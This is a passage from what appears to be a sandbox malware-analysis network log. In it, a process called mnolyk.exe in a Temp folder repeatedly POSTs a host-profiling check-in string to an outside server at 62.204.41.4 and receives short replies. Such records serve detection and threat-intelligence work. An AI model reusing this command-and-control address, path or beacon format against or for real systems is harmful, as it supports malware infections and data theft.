Feb 6, 2023 14:18:06.537805080 CET	492	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:18:06.602508068 CET	492	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:18:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
292	192.168.2.5	49982	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:18:06.788989067 CET	493	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:18:06.852390051 CET	493	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:18:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
293	192.168.2.5	49983	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:18:07.033596039 CET	494	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:18:07.099112988 CET	494	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:18:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
294	192.168.2.5	49984	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:18:07.273531914 CET	495	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:18:07.337085009 CET	495	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:18:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
295	192.168.2.5	49985	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:18:07.516140938 CET	496	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:18:07.578883886 CET	496	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:18:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
296	192.168.2.5	49986	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:18:07.762954950 CET	497	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:18:07.826908112 CET	497	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:18:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
297	192.168.2.5	49987	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:18:08.011491060 CET	498	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:18:08.074615002 CET	498	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:18:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
298	192.168.2.5	49988	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:18:08.271365881 CET	499	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:18:08.335114002 CET	499	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:18:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
299	192.168.2.5	49989	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:18:08.504518032 CET	500	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:18:08.566998959 CET	500	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:18:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
3	192.168.2.5	49693	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:16:29.330240011 CET	203	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:16:29.404603004 CET	204	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:16:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
30	192.168.2.5	49720	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:16:38.844825983 CET	230	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:16:38.909267902 CET	231	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:16:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
300	192.168.2.5	49990	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:18:08.739973068 CET	501	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:18:08.803266048 CET	501	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:18:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
301	192.168.2.5	49991	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:18:08.977328062 CET	502	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:18:09.042072058 CET	502	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:18:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
302	192.168.2.5	49992	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:18:09.210071087 CET	503	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:18:09.275585890 CET	503	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:18:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
303	192.168.2.5	49993	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:18:09.446811914 CET	504	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:18:09.510627985 CET	504	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:18:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
304	192.168.2.5	49994	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:18:09.678155899 CET	505	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:18:09.741938114 CET	505	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:18:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
305	192.168.2.5	49995	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:18:09.929475069 CET	506	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:18:09.995454073 CET	506	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:18:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
306	192.168.2.5	49996	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:18:10.162120104 CET	507	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:18:10.226402044 CET	507	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:18:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
307	192.168.2.5	49997	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:18:10.399966002 CET	508	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:18:10.464658976 CET	508	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:18:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
308	192.168.2.5	49998	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:18:10.629964113 CET	509	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:18:10.693331003 CET	509	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:18:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
309	192.168.2.5	49999	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:18:11.060496092 CET	510	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:18:11.126276970 CET	510	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:18:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
31	192.168.2.5	49721	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:16:39.081762075 CET	231	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:16:39.150372028 CET	232	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:16:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
